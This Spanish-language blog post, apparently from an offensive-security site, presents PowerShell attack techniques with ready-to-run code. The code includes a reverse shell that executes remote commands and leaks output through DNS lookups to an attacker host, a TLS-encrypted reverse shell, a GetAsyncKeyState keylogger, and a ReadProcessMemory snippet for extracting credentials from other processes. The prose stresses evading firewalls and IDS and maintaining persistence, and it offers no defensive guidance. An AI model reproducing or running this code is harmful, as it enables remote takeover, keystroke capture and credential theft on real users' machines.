# Técnicas avanzadas de PowerShell y uso de la API de Windows para control y exfiltración

- Link: https://binariocero.com/windows/tecnicas-avanzadas-de-powershell-y-uso-de-la-api-de-windows-para-control-y-exfiltracion
- Published: 2025-12-23T12:09:08+01:00
- Author: Binario 0

![Loading](https://binariocero.com/wp-content/plugins/page-views-count/ajax-loader-
2x.gif)

## Reverse Shell en PowerShell basado en DNS

Esta técnica consiste en establecer una _reverse shell_ utilizando consultas DNS
como canal de comunicación. En lugar de enviar directamente la información a través
de conexiones TCP tradicionales, los datos se encapsulan dentro de peticiones DNS,
haciendo que el tráfico parezca legítimo a simple vista.

El objetivo principal es **exfiltrar información y recibir comandos** desde un servidor
remoto utilizando un protocolo que normalmente está permitido en la mayoría de redes
corporativas. Esto hace que el tráfico sea **menos sospechoso y más difícil de detectar**
por firewalls o sistemas de inspección superficial.

Este tipo de técnica suele emplearse para evadir controles de red y mantener persistencia
en entornos restringidos.

    ```wp-block-code
    function Invoke-DNSReverseShell { param([string]$attacker_ip, [int]$attacker_port) $client = New-Object
    System.Net.Sockets.TCPClient($attacker_ip, $attacker_port); $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data =
    (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 |
    Out-String ); $encodedSendback =
    [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($sendback)); nslookup
    $encodedSendback $attacker_ip; $stream.Flush()}; $client.Close() }
    ```

## Reverse Shell en PowerShell cifrada

En este caso, la _reverse shell_ se establece utilizando un canal de comunicación
cifrado mediante SSL/TLS. El sistema comprometido inicia una conexión saliente hacia
el atacante y todo el intercambio de datos se protege mediante cifrado.

Gracias a este enfoque, el contenido de los comandos y sus respuestas no puede ser
inspeccionado fácilmente por sistemas de seguridad de red, como IDS o proxies, que
no realicen _SSL inspection_.

El uso de cifrado añade una capa adicional de sigilo, dificultando el análisis del
tráfico y la detección de actividades maliciosas basadas únicamente en el contenido
de las comunicaciones.

    ```wp-block-code
    $ErrorActionPreference = 'SilentlyContinue'; $client = New-Object
    System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); $sslStream =
    New-Object System.Net.Security.SslStream($stream, $false, {$true} );
    $sslStream.AuthenticateAsClient('attacker_ip'); $writer = New-Object
    System.IO.StreamWriter($sslStream); $reader = New-Object System.IO.StreamReader($sslStream);
    while($true) { $writer.WriteLine('PS ' + (pwd).Path + '> '); $writer.Flush(); $command =
    $reader.ReadLine(); if($command -eq 'exit') { break; }; $output = iex $command 2>&1 | Out-String;
    $writer.WriteLine($output); $writer.Flush() }; $client.Close()
    ```

## Uso de la API de Windows para Keylogging

Esta técnica se basa en la invocación directa de funciones de la API de Windows 
para monitorizar el estado del teclado. Mediante llamadas a funciones del sistema
operativo, es posible comprobar de forma periódica si alguna tecla ha sido pulsada.

El objetivo es **registrar las pulsaciones del teclado** realizadas por el usuario,
lo que permite capturar información sensible como credenciales, comandos introducidos
o datos personales.

Este enfoque no depende de aplicaciones externas y utiliza funciones nativas del
sistema, lo que puede dificultar su detección si no se cuenta con mecanismos avanzados
de monitorización de comportamiento.

    ```wp-block-code
    Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class KeyLogger
    { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); } "@ while ($true) {
    Start-Sleep -Milliseconds 100 for ($i = 8; $i -le 190; $i++) { if ([KeyLogger]::GetAsyncKeyState($i) -
    eq -32767) { $Key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i) Write-Host $Key } } }
    ```

## Acceso a memoria física mediante la API de Windows

Esta técnica utiliza funciones de bajo nivel de la API de Windows para acceder a
la memoria de procesos que se están ejecutando en el sistema. A través de estas 
llamadas, es posible leer bloques de memoria directamente desde el espacio de direcciones
de un proceso específico.

Este método puede emplearse para **extraer información sensible** que se encuentre
en memoria, como credenciales, claves o datos temporales que no están almacenados
en disco.

El acceso a memoria de otros procesos suele requerir privilegios elevados y es una
técnica común en escenarios de análisis avanzado, depuración o ataques dirigidos
contra procesos concretos.

    ```wp-block-code
    Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class
    MemoryReader { [DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProcess,
    IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); } "@ $process =
    Get-Process -Name 'process_name' $handle = $process.Handle $buffer = New-Object byte[] 1024 $bytesRead
    = 0 [MemoryReader]::ReadProcessMemory($handle, [IntPtr]0x00000000, $buffer, $buffer.Length,
    [ref]$bytesRead)
    ```
